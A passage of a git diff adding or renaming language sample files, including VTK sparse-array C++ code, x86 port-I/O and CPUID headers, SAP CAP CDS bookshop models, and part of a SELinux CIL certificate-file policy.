+}
+
+template <typename T>
+void vtkSparseArray<T>::GetCoordinatesN(SizeT n, vtkArrayCoordinates& coordinates)
+{
+  coordinates.SetDimensions(this->GetDimensions());
+  for (DimensionT i = 0; i != this->GetDimensions(); ++i)
+    coordinates[i] = this->Coordinates[i][n];
+}
+
+template <typename T>
+vtkArray* vtkSparseArray<T>::DeepCopy()
+{
+  ThisT* const copy = ThisT::New();
+
+  copy->SetName(this->GetName());
+  copy->Extents = this->Extents;
+  copy->DimensionLabels = this->DimensionLabels;
+  copy->Coordinates = this->Coordinates;
+  copy->Values = this->Values;
+  copy->NullValue = this->NullValue;
+
+  return copy;
+}
+
+template <typename T>
+const T& vtkSparseArray<T>::GetValue(CoordinateT i)
+{
+  if (1 != this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Index-array dimension mismatch.");
+    return this->NullValue;
+  }
+
+  // Do a naive linear-search for the time-being ...
+  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)
+  {
+    if (i != this->Coordinates[0][row])
+      continue;
+
+    return this->Values[row];
+  }
+
+  return this->NullValue;
+}
+
+template <typename T>
+const T& vtkSparseArray<T>::GetValue(CoordinateT i, CoordinateT j)
+{
+  if (2 != this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Index-array dimension mismatch.");
+    return this->NullValue;
+  }
+
+  // Do a naive linear-search for the time-being ...
+  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)
+  {
+    if (i != this->Coordinates[0][row])
+      continue;
+
+    if (j != this->Coordinates[1][row])
+      continue;
+
+    return this->Values[row];
+  }
+
+  return this->NullValue;
+}
+
+template <typename T>
+const T& vtkSparseArray<T>::GetValue(CoordinateT i, CoordinateT j, CoordinateT k)
+{
+  if (3 != this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Index-array dimension mismatch.");
+    return this->NullValue;
+  }
+
+  // Do a naive linear-search for the time-being ...
+  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)
+  {
+    if (i != this->Coordinates[0][row])
+      continue;
+
+    if (j != this->Coordinates[1][row])
+      continue;
+
+    if (k != this->Coordinates[2][row])
+      continue;
+
+    return this->Values[row];
+  }
+
+  return this->NullValue;
+}
+
+template <typename T>
+const T& vtkSparseArray<T>::GetValue(const vtkArrayCoordinates& coordinates)
+{
+  if (coordinates.GetDimensions() != this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Index-array dimension mismatch.");
+    return this->NullValue;
+  }
+
+  // Do a naive linear-search for the time-being ...
+  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)
+  {
+    for (DimensionT column = 0; column != this->GetDimensions(); ++column)
+    {
+      if (coordinates[column] != this->Coordinates[column][row])
+        break;
+
+      if (column + 1 == this->GetDimensions())
+        return this->Values[row];
+    }
+  }
+
+  return this->NullValue;
+}
+
+template <typename T>
+const T& vtkSparseArray<T>::GetValueN(SizeT n)
+{
+  return this->Values[n];
+}
+
+template <typename T>
+void vtkSparseArray<T>::SetValue(CoordinateT i, const T& value)
+{
+  if (1 != this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Index-array dimension mismatch.");
+    return;
+  }
+
+  // Do a naive linear-search for the time-being ...
+  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)
+  {
+    if (i != this->Coordinates[0][row])
+      continue;
+
+    this->Values[row] = value;
+    return;
+  }
+
+  // Element doesn't already exist, so add it to the end of the list ...
+  this->AddValue(i, value);
+}
+
+template <typename T>
+void vtkSparseArray<T>::SetValue(CoordinateT i, CoordinateT j, const T& value)
+{
+  if (2 != this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Index-array dimension mismatch.");
+    return;
+  }
+
+  // Do a naive linear-search for the time-being ...
+  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)
+  {
+    if (i != this->Coordinates[0][row])
+      continue;
+
+    if (j != this->Coordinates[1][row])
+      continue;
+
+    this->Values[row] = value;
+    return;
+  }
+
+  // Element doesn't already exist, so add it to the end of the list ...
+  this->AddValue(i, j, value);
+}
+
+template <typename T>
+void vtkSparseArray<T>::SetValue(CoordinateT i, CoordinateT j, CoordinateT k, const T& value)
+{
+  if (3 != this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Index-array dimension mismatch.");
+    return;
+  }
+
+  // Do a naive linear-search for the time-being ...
+  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)
+  {
+    if (i != this->Coordinates[0][row])
+      continue;
+
+    if (j != this->Coordinates[1][row])
+      continue;
+
+    if (k != this->Coordinates[2][row])
+      continue;
+
+    this->Values[row] = value;
+    return;
+  }
+
+  // Element doesn't already exist, so add it to the end of the list ...
+  this->AddValue(i, j, k, value);
+}
+
+template <typename T>
+void vtkSparseArray<T>::SetValue(const vtkArrayCoordinates& coordinates, const T& value)
+{
+  if (coordinates.GetDimensions() != this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Index-array dimension mismatch.");
+    return;
+  }
+
+  // Do a naive linear-search for the time-being ...
+  for (vtkIdType row = 0; row != static_cast<vtkIdType>(this->Values.size()); ++row)
+  {
+    for (DimensionT column = 0; column != this->GetDimensions(); ++column)
+    {
+      if (coordinates[column] != this->Coordinates[column][row])
+        break;
+
+      if (column + 1 == this->GetDimensions())
+      {
+        this->Values[row] = value;
+        return;
+      }
+    }
+  }
+
+  // Element doesn't already exist, so add it to the end of the list ...
+  this->AddValue(coordinates, value);
+}
+
+template <typename T>
+void vtkSparseArray<T>::SetValueN(SizeT n, const T& value)
+{
+  this->Values[n] = value;
+}
+
+template <typename T>
+void vtkSparseArray<T>::SetNullValue(const T& value)
+{
+  this->NullValue = value;
+}
+
+template <typename T>
+const T& vtkSparseArray<T>::GetNullValue()
+{
+  return this->NullValue;
+}
+
+template <typename T>
+void vtkSparseArray<T>::Clear()
+{
+  for (DimensionT column = 0; column != this->GetDimensions(); ++column)
+    this->Coordinates[column].clear();
+
+  this->Values.clear();
+}
+
+/// Predicate object for use with std::sort().  Given a vtkArraySort object that defines which array
+/// dimensions will be sorted in what order, SortCoordinates is used to establish a sorted order for
+/// the values stored in vtkSparseArray. Note that SortCoordinates never actually modifies its
+/// inputs.
+struct SortCoordinates
+{
+  SortCoordinates(const vtkArraySort& sort, const std::vector<std::vector<vtkIdType>>& coordinates)
+    : Sort(&sort)
+    , Coordinates(&coordinates)
+  {
+  }
+
+  bool operator()(const vtkIdType lhs, const vtkIdType rhs) const
+  {
+    const vtkArraySort& sort = *this->Sort;
+    const std::vector<std::vector<vtkIdType>>& coordinates = *this->Coordinates;
+
+    for (vtkIdType i = 0; i != sort.GetDimensions(); ++i)
+    {
+      if (coordinates[sort[i]][lhs] == coordinates[sort[i]][rhs])
+        continue;
+
+      return coordinates[sort[i]][lhs] < coordinates[sort[i]][rhs];
+    }
+
+    return false;
+  }
+
+  const vtkArraySort* Sort;
+  const std::vector<std::vector<vtkIdType>>* Coordinates;
+};
+
+template <typename T>
+void vtkSparseArray<T>::Sort(const vtkArraySort& sort)
+{
+  if (sort.GetDimensions() < 1)
+  {
+    vtkErrorMacro(<< "Sort must order at least one dimension.");
+    return;
+  }
+
+  for (DimensionT i = 0; i != sort.GetDimensions(); ++i)
+  {
+    if (sort[i] < 0 || sort[i] >= this->GetDimensions())
+    {
+      vtkErrorMacro(<< "Sort dimension out-of-bounds.");
+      return;
+    }
+  }
+
+  const SizeT count = this->GetNonNullSize();
+  std::vector<DimensionT> sort_order(count);
+  for (SizeT i = 0; i != count; ++i)
+    sort_order[i] = static_cast<DimensionT>(i);
+  std::sort(sort_order.begin(), sort_order.end(), SortCoordinates(sort, this->Coordinates));
+
+  std::vector<DimensionT> temp_coordinates(count);
+  for (DimensionT j = 0; j != this->GetDimensions(); ++j)
+  {
+    for (SizeT i = 0; i != count; ++i)
+      temp_coordinates[i] = this->Coordinates[j][sort_order[i]];
+    std::swap(temp_coordinates, this->Coordinates[j]);
+  }
+
+  std::vector<T> temp_values(count);
+  for (SizeT i = 0; i != count; ++i)
+    temp_values[i] = this->Values[sort_order[i]];
+  std::swap(temp_values, this->Values);
+}
+
+template <typename T>
+std::vector<typename vtkSparseArray<T>::CoordinateT> vtkSparseArray<T>::GetUniqueCoordinates(
+  DimensionT dimension)
+{
+  if (dimension < 0 || dimension >= this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Dimension out-of-bounds.");
+    return std::vector<CoordinateT>();
+  }
+
+  std::vector<CoordinateT> results(this->Coordinates[dimension]);
+  std::sort(results.begin(), results.end());
+  results.erase(std::unique(results.begin(), results.end()), results.end());
+  return results;
+}
+
+template <typename T>
+const typename vtkSparseArray<T>::CoordinateT* vtkSparseArray<T>::GetCoordinateStorage(
+  DimensionT dimension) const
+{
+  if (dimension < 0 || dimension >= this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Dimension out-of-bounds.");
+    return nullptr;
+  }
+
+  return &this->Coordinates[dimension][0];
+}
+
+template <typename T>
+typename vtkSparseArray<T>::CoordinateT* vtkSparseArray<T>::GetCoordinateStorage(
+  DimensionT dimension)
+{
+  if (dimension < 0 || dimension >= this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Dimension out-of-bounds.");
+    return nullptr;
+  }
+
+  return &this->Coordinates[dimension][0];
+}
+
+template <typename T>
+const T* vtkSparseArray<T>::GetValueStorage() const
+{
+  return &(this->Values[0]);
+}
+
+template <typename T>
+T* vtkSparseArray<T>::GetValueStorage()
+{
+  return &this->Values[0];
+}
+
+template <typename T>
+void vtkSparseArray<T>::ReserveStorage(SizeT value_count)
+{
+  for (DimensionT dimension = 0; dimension != this->GetDimensions(); ++dimension)
+    this->Coordinates[dimension].resize(value_count);
+
+  this->Values.resize(value_count);
+}
+
+template <typename T>
+void vtkSparseArray<T>::SetExtentsFromContents()
+{
+  vtkArrayExtents new_extents;
+
+  const vtkIdType row_begin = 0;
+  const vtkIdType row_end = row_begin + static_cast<vtkIdType>(this->Values.size());
+  const DimensionT dimension_count = this->GetDimensions();
+  for (DimensionT dimension = 0; dimension != dimension_count; ++dimension)
+  {
+    vtkIdType range_begin = std::numeric_limits<vtkIdType>::max();
+    vtkIdType range_end = -std::numeric_limits<vtkIdType>::max();
+    for (vtkIdType row = row_begin; row != row_end; ++row)
+    {
+      range_begin = std::min(range_begin, this->Coordinates[dimension][row]);
+      range_end = std::max(range_end, this->Coordinates[dimension][row] + 1);
+    }
+    new_extents.Append(vtkArrayRange(range_begin, range_end));
+  }
+
+  this->Extents = new_extents;
+}
+
+template <typename T>
+void vtkSparseArray<T>::SetExtents(const vtkArrayExtents& extents)
+{
+  if (extents.GetDimensions() != this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Extent-array dimension mismatch.");
+    return;
+  }
+
+  this->Extents = extents;
+}
+
+template <typename T>
+void vtkSparseArray<T>::AddValue(CoordinateT i, const T& value)
+{
+  this->AddValue(vtkArrayCoordinates(i), value);
+}
+
+template <typename T>
+void vtkSparseArray<T>::AddValue(CoordinateT i, CoordinateT j, const T& value)
+{
+  this->AddValue(vtkArrayCoordinates(i, j), value);
+}
+
+template <typename T>
+void vtkSparseArray<T>::AddValue(CoordinateT i, CoordinateT j, CoordinateT k, const T& value)
+{
+  this->AddValue(vtkArrayCoordinates(i, j, k), value);
+}
+
+template <typename T>
+void vtkSparseArray<T>::AddValue(const vtkArrayCoordinates& coordinates, const T& value)
+{
+  if (coordinates.GetDimensions() != this->GetDimensions())
+  {
+    vtkErrorMacro(<< "Index-array dimension mismatch.");
+    return;
+  }
+
+  this->Values.push_back(value);
+
+  for (DimensionT i = 0; i != coordinates.GetDimensions(); ++i)
+    this->Coordinates[i].push_back(coordinates[i]);
+}
+
+template <typename T>
+bool vtkSparseArray<T>::Validate()
+{
+  vtkIdType duplicate_count = 0;
+  vtkIdType out_of_bound_count = 0;
+
+  const vtkIdType dimensions = this->GetDimensions();
+  const vtkIdType count = this->GetNonNullSize();
+
+  // Create an arbitrary sorted order for our coordinates ...
+  vtkArraySort sort;
+  sort.SetDimensions(dimensions);
+  for (vtkIdType i = 0; i != dimensions; ++i)
+    sort[i] = i;
+
+  std::vector<vtkIdType> sort_order(count);
+  for (vtkIdType i = 0; i != count; ++i)
+    sort_order[i] = i;
+
+  std::sort(sort_order.begin(), sort_order.end(), SortCoordinates(sort, this->Coordinates));
+
+  // Now, look for duplicates ...
+  for (vtkIdType i = 0; i + 1 < count; ++i)
+  {
+    vtkIdType j;
+    for (j = 0; j != dimensions; ++j)
+    {
+      if (this->Coordinates[j][sort_order[i]] != this->Coordinates[j][sort_order[i + 1]])
+        break;
+    }
+    if (j == dimensions)
+    {
+      duplicate_count += 1;
+    }
+  }
+
+  // Look for out-of-bound coordinates ...
+  for (vtkIdType i = 0; i != count; ++i)
+  {
+    for (vtkIdType j = 0; j != dimensions; ++j)
+    {
+      if (this->Coordinates[j][i] < this->Extents[j].GetBegin() ||
+        this->Coordinates[j][i] >= this->Extents[j].GetEnd())
+      {
+        ++out_of_bound_count;
+        break;
+      }
+    }
+  }
+
+  if (duplicate_count)
+  {
+    vtkErrorMacro(<< "Array contains " << duplicate_count << " duplicate coordinates.");
+  }
+
+  if (out_of_bound_count)
+  {
+    vtkErrorMacro(<< "Array contains " << out_of_bound_count << " out-of-bound coordinates.");
+  }
+
+  return (0 == duplicate_count) && (0 == out_of_bound_count);
+}
+
+template <typename T>
+vtkSparseArray<T>::vtkSparseArray()
+  : NullValue(T())
+{
+}
+
+template <typename T>
+vtkSparseArray<T>::~vtkSparseArray() = default;
+
+template <typename T>
+void vtkSparseArray<T>::InternalResize(const vtkArrayExtents& extents)
+{
+  this->Extents = extents;
+  this->DimensionLabels.resize(extents.GetDimensions(), {});
+  this->Coordinates.resize(extents.GetDimensions());
+  this->Values.resize(0);
+}
+
+template <typename T>
+void vtkSparseArray<T>::InternalSetDimensionLabel(DimensionT i, const vtkStdString& label)
+{
+  this->DimensionLabels[i] = label;
+}
+
+template <typename T>
+vtkStdString vtkSparseArray<T>::InternalGetDimensionLabel(DimensionT i)
+{
+  return this->DimensionLabels[i];
+}
+
+VTK_ABI_NAMESPACE_END
+#endif
diff --git a/samples/C++/Field.h b/samples/C/Field.h
similarity index 100%
rename from samples/C++/Field.h
rename to samples/C/Field.h
diff --git a/samples/C/asm.h b/samples/C/asm.h
new file mode 100644
index 0000000000..aa0e5f8664
--- /dev/null
+++ b/samples/C/asm.h
@@ -0,0 +1,27 @@
+/* CarbonOS System/Kernel
+ * Copyright 2015-2017 David Aylaian
+ * Licensed under Apache 2.0: https://github.com/DavidAylaian/CarbonOS/blob/master/LICENSE.md
+ */
+
+#ifndef ASM_H
+#define ASM_H
+
+#include <stdint.h>
+
+// macros for enabling and disabling interrupts
+#define enable()	asm("sti");
+#define disable()	asm("cli");
+
+// inb instruction
+uint8_t inb (uint16_t port) {
+	uint8_t val;
+	asm volatile ("inb %0, %1" : "=a"(val): "Nd"(port));
+	return val;
+}
+
+// outb instruction
+void outb (uint16_t port, uint8_t val) {
+	asm volatile ("outb %1, %0" : : "a"(val), "Nd"(port));
+}
+
+#endif
diff --git a/samples/C/cpuid.h b/samples/C/cpuid.h
new file mode 100644
index 0000000000..385a76dd52
--- /dev/null
+++ b/samples/C/cpuid.h
@@ -0,0 +1,25 @@
+#ifndef CPUID_H
+#define CPUID_H
+
+#include "misc.h"
+
+static inline void do_cpuid(dword_t *eax, dword_t *ebx, dword_t *ecx, dword_t *edx) {
+    dword_t leaf = *eax;
+    switch (leaf) {
+        case 0:
+            *eax = 0x01; // we support barely anything
+            *ebx = 0x756e6547; // Genu
+            *edx = 0x49656e69; // ineI
+            *ecx = 0x6c65746e; // ntel
+            break;
+        default: // if leaf is too high, use highest supported leaf
+        case 1:
+            *eax = 0x0; // say nothing about cpu model number
+            *ebx = 0x0; // processor number 0, flushes 0 bytes on clflush
+            *ecx = 0b00000000000000000000000000000000; // we support none of the features in ecx
+            *edx = 0b00000000000000000000000000000000; // we also support none of the features in edx
+            break;
+    }
+}
+
+#endif
diff --git a/samples/C++/rpc.h b/samples/C/rpc.h
similarity index 100%
rename from samples/C++/rpc.h
rename to samples/C/rpc.h
diff --git a/samples/C/filenames/script b/samples/C/script
similarity index 100%
rename from samples/C/filenames/script
rename to samples/C/script
diff --git a/samples/CAP CDS/admin-service.cds b/samples/CAP CDS/admin-service.cds
new file mode 100644
index 0000000000..ea9b0731a2
--- /dev/null
+++ b/samples/CAP CDS/admin-service.cds	
@@ -0,0 +1,5 @@
+using { sap.capire.bookshop as my } from '../db/schema';
+service AdminService @(requires:'admin') {
+  entity Books as projection on my.Books;
+  entity Authors as projection on my.Authors;
+}
diff --git a/samples/CAP CDS/cat-service.cds b/samples/CAP CDS/cat-service.cds
new file mode 100644
index 0000000000..2441db25f9
--- /dev/null
+++ b/samples/CAP CDS/cat-service.cds	
@@ -0,0 +1,16 @@
+using { sap.capire.bookshop as my } from '../db/schema';
+service CatalogService @(path:'/browse') {
+
+  /** For displaying lists of Books */
+  @readonly entity ListOfBooks as projection on Books
+  excluding { descr };
+
+  /** For display in details pages */
+  @readonly entity Books as projection on my.Books { *,
+    author.name as author
+  } excluding { createdBy, modifiedBy };
+
+  @requires: 'authenticated-user'
+  action submitOrder ( book: Books:ID, quantity: Integer ) returns { stock: Integer };
+  event OrderedBook : { book: Books:ID; quantity: Integer; buyer: String };
+}
diff --git a/samples/CAP CDS/common.cds b/samples/CAP CDS/common.cds
new file mode 100644
index 0000000000..6a9dd3800d
--- /dev/null
+++ b/samples/CAP CDS/common.cds	
@@ -0,0 +1,140 @@
+type Language : Association to sap.common.Languages;
+type Currency : Association to sap.common.Currencies;
+type Country : Association to sap.common.Countries;
+
+/**
+ * Entities to serve the reuse types with extensible code lists
+ * including built-in support for value lists in Fiori.
+ */
+context sap.common {
+  entity Languages : CodeList {
+    key code : String(14) @(title : '{i18n>LanguageCode}');
+    //> length=14 is to accommodate values like these:
+    // en_US_x_saptrc - (1Q) used as a technical SAP language code
+    // en_US_x_sappsd - (2Q) used as a technical SAP language code
+  }
+
+  entity Countries : CodeList {
+    key code : String(3) @(title : '{i18n>CountryCode}');
+  }
+
+  entity Currencies : CodeList {
+    key code   : String(3) @(title : '{i18n>CurrencyCode}');
+        symbol : String(5) @(title : '{i18n>CurrencySymbol}');
+  }
+
+  aspect CodeList @(
+    cds.autoexpose,
+    cds.persistence.skip : 'if-unused'
+  ) {
+    name  : localized String(255)  @title : '{i18n>Name}';
+    descr : localized String(1000) @title : '{i18n>Description}';
+  }
+}
+
+
+/*
+ * Aspect for entities with canonical universal IDs.
+ */
+aspect cuid {
+  key ID : UUID; //> automatically filled in
+}
+
+/*
+ * Aspect to capture changes by user and name.
+ */
+aspect managed {
+  createdAt  : Timestamp @cds.on.insert : $now;
+  createdBy  : User      @cds.on.insert : $user;
+  modifiedAt : Timestamp @cds.on.insert : $now  @cds.on.update : $now;
+  modifiedBy : User      @cds.on.insert : $user @cds.on.update : $user;
+}
+
+/*
+ * Aspects for entities with temporal data.
+ */
+aspect temporal {
+  validFrom : Timestamp @cds.valid.from;
+  validTo   : Timestamp @cds.valid.to;
+}
+
+
+/**
+ * Canonical user ID
+ */
+type User : String(255);
+
+
+/*
+ * Aspects for extensible entities.
+ */
+aspect extensible {
+    @cds.api.ignore extensions__ : String
+};
+
+//---------------------------------------------------------------------------
+// Annotations for Fiori UIs...
+
+annotate sap.common.CodeList with @UI.Identification : [{Value:name}];
+annotate sap.common.CodeList with @cds.odata.valuelist;
+
+annotate managed with {
+  createdAt  @UI.HiddenFilter;
+  createdBy  @UI.HiddenFilter;
+  modifiedAt @UI.HiddenFilter;
+  modifiedBy @UI.HiddenFilter;
+}
+
+annotate managed with {
+  createdAt  @Core.Immutable;
+  createdBy  @Core.Immutable;
+}
+
+annotate sap.common.Countries  with { code @Common.Text:name; }
+annotate sap.common.Currencies with { code @Common.Text:name; }
+annotate sap.common.Languages  with { code @Common.Text:name; }
+
+
+//---------------------------------------------------------------------------
+// Common Annotations...
+
+annotate Language with @(
+  title       : '{i18n>Language}',
+  description : '{i18n>LanguageCode.Description}'
+);
+
+annotate Currency with @(
+  title       : '{i18n>Currency}',
+  description : '{i18n>CurrencyCode.Description}'
+);
+
+annotate Country with @(
+  title       : '{i18n>Country}',
+  description : '{i18n>CountryCode.Description}'
+);
+
+annotate User with @(
+  title       : '{i18n>UserID}',
+  description : '{i18n>UserID.Description}'
+);
+
+annotate managed with {
+  createdAt  @title : '{i18n>CreatedAt}';
+  createdBy  @title : '{i18n>CreatedBy}';
+  modifiedAt @title : '{i18n>ChangedAt}';
+  modifiedBy @title : '{i18n>ChangedBy}';
+}
+
+
+//---------------------------------------------------------------------------
+// Temporary Workarounds...
+// REVISIT: @cds.on... should automatically result in @readonly @Core.Computed
+
+annotate managed with {
+  modifiedAt @readonly;
+  createdAt  @readonly;
+  createdBy  @readonly;
+  modifiedBy @readonly;
+}
+
+//---------------------------------------------------------------------------
diff --git a/samples/CAP CDS/schema.cds b/samples/CAP CDS/schema.cds
new file mode 100644
index 0000000000..ec8b119a9d
--- /dev/null
+++ b/samples/CAP CDS/schema.cds	
@@ -0,0 +1,31 @@
+using { Currency, managed, sap } from '@sap/cds/common';
+namespace sap.capire.bookshop;
+
+entity Books : managed {
+  key ID : Integer;
+  title  : localized String(111);
+  descr  : localized String(1111);
+  author : Association to Authors;
+  genre  : Association to Genres;
+  stock  : Integer;
+  price  : Decimal;
+  currency : Currency;
+  image : LargeBinary @Core.MediaType : 'image/png';
+}
+
+entity Authors : managed {
+  key ID : Integer;
+  name   : String(111);
+  dateOfBirth  : Date;
+  dateOfDeath  : Date;
+  placeOfBirth : String;
+  placeOfDeath : String;
+  books  : Association to many Books on books.author = $self;
+}
+
+/** Hierarchically organized Code List for Genres */
+entity Genres : sap.common.CodeList {
+  key ID   : Integer;
+  parent   : Association to Genres;
+  children : Composition of many Genres on children.parent = $self;
+}
diff --git a/samples/CAP CDS/user-service.cds b/samples/CAP CDS/user-service.cds
new file mode 100644
index 0000000000..1897f60ef1
--- /dev/null
+++ b/samples/CAP CDS/user-service.cds	
@@ -0,0 +1,16 @@
+/**
+ * Exposes user information
+ */
+@requires: 'authenticated-user'
+service UserService {
+
+  /**
+   * The current user
+   */
+  @odata.singleton entity me {
+    id     : String; // user id
+    locale : String;
+    tenant : String;
+  }
+
+}
diff --git a/samples/CIL/certfile.cil b/samples/CIL/certfile.cil
new file mode 100644
index 0000000000..d440a7f580
--- /dev/null
+++ b/samples/CIL/certfile.cil
@@ -0,0 +1,464 @@
+;; -*- mode: CIL; fill-column: 79; indent-tabs-mode: nil; -*-
+;; SPDX-FileCopyrightText: © 2021 Dominick Grift <dominick.grift@defensec.nl>
+;; SPDX-License-Identifier: Unlicense
+
+(in .file
+
+    (block cert
+
+           ;;
+           ;; Policy
+           ;;
+
+           (blockinherit file.obj_all_macro_template)
+
+           (call file.obj_type (obj_typeattr))
+
+           (call .xattr.associate_filesystems (obj_typeattr))
+
+           ;;
+           ;; Templates
+           ;;
+
+           (block obj_base_template
+
+                  ;;
+                  ;; Contexts
+                  ;;
+
+                  (context
+                   certfile_file_context
+                   (.u
+                    .r
+                    certfile
+                    (systemlow
+                     systemlow)))
+
+                  ;;
+                  ;; Policy
+                  ;;
+
+                  (blockabstract obj_base_template)
+
+                  (type
+                   certfile)
+
+                  (call .file.cert.obj_type (certfile)))
+
+           (block obj_macro_template
+
+                  ;;
+                  ;; Macros
+                  ;;
+
+                  (macro addname_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile addname_dir))
+
+                  (macro append_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile append_blk_file))
+
+                  (macro append_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile append_chr_file))
+
+                  (macro append_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile append_fifo_file))
+
+                  (macro append_certfile_files ((type ARG1))
+                         (allow ARG1 certfile append_file))
+
+                  (macro appendinherited_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile appendinherited_blk_file))
+
+                  (macro appendinherited_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile appendinherited_chr_file))
+
+                  (macro appendinherited_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile appendinherited_fifo_file))
+
+                  (macro appendinherited_certfile_files ((type ARG1))
+                         (allow ARG1 certfile appendinherited_file))
+
+                  (macro certfile_obj_type_transition
+                         ((type ARG1)(type ARG2)(class ARG3)(name ARG4))
+                         (typetransition ARG1 certfile ARG3 ARG4 ARG2)
+                         (call addname_certfile_dirs (ARG1)))
+
+                  (macro create_certfile ((type ARG1))
+                         (allow ARG1 certfile (allfiles (create))))
+
+                  (macro create_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile create_blk_file))
+
+                  (macro create_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile create_chr_file))
+
+                  (macro create_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile create_dir))
+
+                  (macro create_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile create_fifo_file))
+
+                  (macro create_certfile_files ((type ARG1))
+                         (allow ARG1 certfile create_file))
+
+                  (macro create_certfile_lnk_files ((type ARG1))
+                         (allow ARG1 certfile create_lnk_file))
+
+                  (macro create_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile create_sock_file))
+
+                  (macro deletename_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile deletename_dir))
+
+                  (macro delete_certfile ((type ARG1))
+                         (allow ARG1 certfile (allfiles (delete))))
+
+                  (macro delete_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile delete_blk_file))
+
+                  (macro delete_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile delete_chr_file))
+
+                  (macro delete_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile delete_dir))
+
+                  (macro delete_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile delete_fifo_file))
+
+                  (macro delete_certfile_files ((type ARG1))
+                         (allow ARG1 certfile delete_file))
+
+                  (macro delete_certfile_lnk_files ((type ARG1))
+                         (allow ARG1 certfile delete_lnk_file))
+
+                  (macro delete_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile delete_sock_file))
+
+                  (macro execute_certfile_files ((type ARG1))
+                         (allow ARG1 certfile execute_file))
+
+                  (macro list_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile list_dir))
+
+                  (macro listinherited_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile listinherited_dir))
+
+                  (macro load_certfile_files ((type ARG1))
+                         (allow ARG1 certfile (system (module_load))))
+
+                  (macro manage_certfile ((type ARG1))
+                         (allow ARG1 certfile (allfiles (manage))))
+
+                  (macro manage_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile manage_blk_file))
+
+                  (macro manage_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile manage_chr_file))
+
+                  (macro manage_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile manage_dir))
+
+                  (macro manage_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile manage_fifo_file))
+
+                  (macro manage_certfile_files ((type ARG1))
+                         (allow ARG1 certfile manage_file))
+
+                  (macro manage_certfile_lnk_files ((type ARG1))
+                         (allow ARG1 certfile manage_lnk_file))
+
+                  (macro manage_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile manage_sock_file))
+
+                  (macro mapexecute_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile mapexecute_chr_file))
+
+                  (macro mapexecute_certfile_files ((type ARG1))
+                         (allow ARG1 certfile mapexecute_file))
+
+                  (macro mounton_certfile ((type ARG1))
+                         (allow ARG1 certfile (allfiles (mounton))))
+
+                  (macro mounton_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile mounton_blk_file))
+
+                  (macro mounton_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile mounton_chr_file))
+
+                  (macro mounton_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile mounton_dir))
+
+                  (macro mounton_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile mounton_fifo_file))
+
+                  (macro mounton_certfile_files ((type ARG1))
+                         (allow ARG1 certfile mounton_file))
+
+                  (macro mounton_certfile_lnk_files ((type ARG1))
+                         (allow ARG1 certfile mounton_lnk_file))
+
+                  (macro mounton_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile mounton_sock_file))
+
+                  (macro read_certfile ((type ARG1))
+                         (allow ARG1 certfile (allfiles (read))))
+
+                  (macro read_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile read_blk_file))
+
+                  (macro read_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile read_chr_file))
+
+                  (macro read_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile read_fifo_file))
+
+                  (macro read_certfile_files ((type ARG1))
+                         (allow ARG1 certfile read_file))
+
+                  (macro readinherited_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile readinherited_blk_file))
+
+                  (macro readinherited_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile readinherited_chr_file))
+
+                  (macro readinherited_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile readinherited_fifo_file))
+
+                  (macro readinherited_certfile_files ((type ARG1))
+                         (allow ARG1 certfile readinherited_file))
+
+                  (macro readinherited_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile readinherited_sock_file))
+
+                  (macro read_certfile_lnk_files ((type ARG1))
+                         (allow ARG1 certfile read_lnk_file))
+
+                  (macro read_certfile_sock_files ((type ARG1))
